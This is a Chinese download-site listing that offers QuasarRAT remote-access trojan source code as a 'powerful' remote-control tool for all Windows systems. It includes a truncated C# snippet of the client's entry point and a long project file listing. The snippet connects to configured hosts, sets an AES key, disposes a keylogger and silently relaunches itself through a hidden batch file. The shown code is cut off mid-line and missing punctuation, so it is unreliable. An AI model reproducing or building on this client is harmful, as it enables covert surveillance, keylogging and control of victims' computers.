• 大小: 1.41MB
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2023-10-15
  • 语言: 其他
  • 标签: 远程控制  

资源简介

QuasarRAT远程源码,可自行开发.目前支持所有windows系统.功能强大

资源截图

代码片段和文件信息

using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using xClient.Config;
using xClient.Core.Commands;
using xClient.Core.Cryptography;
using xClient.Core.Data;
using xClient.Core.Helper;
using xClient.Core.Installation;
using xClient.Core.Networking;
using xClient.Core.Utilities;

namespace xClient
{
    internal static class Program
    {
        public static QuasarClient ConnectClient;
        private static ApplicationContext _msgLoop;

        [STAThread]
        private static void Main(string[] args)
        {
            Application.EnableVisualstyles();
            Application.SetCompatibleTextRenderingDefault(false);
            AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;

            if (Settings.Initialize())
            {
                if (Initialize())
                {
                    if (!QuasarClient.Exiting)
                        ConnectClient.Connect();
                }
            }

            Cleanup();
            Exit();
        }

        private static void Exit()
        {
            // Don‘t wait for other threads
            if (_msgLoop != null || Application.MessageLoop)
                Application.Exit();
            else
                Environment.Exit(0);
        }

        private static void HandleUnhandledException(object sender UnhandledExceptionEventArgs e)
        {
            if (e.IsTerminating)
            {
                string batchFile = FileHelper.CreateRestartBatch();
                if (string.IsNullOrEmpty(batchFile)) return;

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    Windowstyle = ProcessWindowstyle.Hidden
                    UseShellExecute = true
                    FileName = batchFile
                };
                Process.Start(startInfo);
                Exit();
            }
        }

        private static void Cleanup()
        {
            CommandHandler.CloseShell();
            if (CommandHandler.StreamCodec != null)
                CommandHandler.StreamCodec.Dispose();
            if (Keylogger.Instance != null)
                Keylogger.Instance.Dispose();
            if (_msgLoop != null)
            {
                _msgLoop.ExitThread();
                _msgLoop.Dispose();
                _msgLoop = null;
            }
            MutexHelper.CloseMutex();
        }

        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
                return false;

            AES.SetDefaultKey(Settings.KEY Settings.AUTHKEY);
            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settin

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2018-04-17 13:24  QuasarRAT-master\
     文件         483  2018-04-17 13:24  QuasarRAT-master\.gitattributes
     文件        3065  2018-04-17 13:24  QuasarRAT-master\.gitignore
     文件        3694  2018-04-17 13:24  QuasarRAT-master\CHANGELOG.md
     文件         673  2018-04-17 13:24  QuasarRAT-master\CONTRIBUTING.md
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client.Tests\
     文件        4904  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Client.Tests.csproj
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Core\
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Core\Compression\
     文件         625  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Core\Compression\JpgCompression.Tests.cs
     文件        5441  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Core\Compression\SafeQuickLZ.Tests.cs
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Core\Encryption\
     文件        1461  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Core\Encryption\AES.Tests.cs
     文件         521  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Core\Encryption\SHA256.Tests.cs
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Core\Helper\
     文件        1090  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Core\Helper\FileHelper.Tests.cs
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Core\Packet\
     文件         715  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Core\Packet\Packet.Tests.cs
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Properties\
     文件        1530  2018-04-17 13:24  QuasarRAT-master\Client.Tests\Properties\AssemblyInfo.cs
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client\
     文件       19836  2018-04-17 13:24  QuasarRAT-master\Client\Client.csproj
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client\Config\
     文件        3791  2018-04-17 13:24  QuasarRAT-master\Client\Config\Settings.cs
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client\Core\
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client\Core\AForge\
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client\Core\AForge\Video.DirectShow\
     文件        1464  2018-04-17 13:24  QuasarRAT-master\Client\Core\AForge\Video.DirectShow\CameraControlProperty.cs
     文件        5925  2018-04-17 13:24  QuasarRAT-master\Client\Core\AForge\Video.DirectShow\FilterInfo.cs
     文件        4102  2018-04-17 13:24  QuasarRAT-master\Client\Core\AForge\Video.DirectShow\FilterInfoCollection.cs
     目录           0  2018-04-17 13:24  QuasarRAT-master\Client\Core\AForge\Video.DirectShow\Internals\
............此处省略922个文件信息

评论

共有 条评论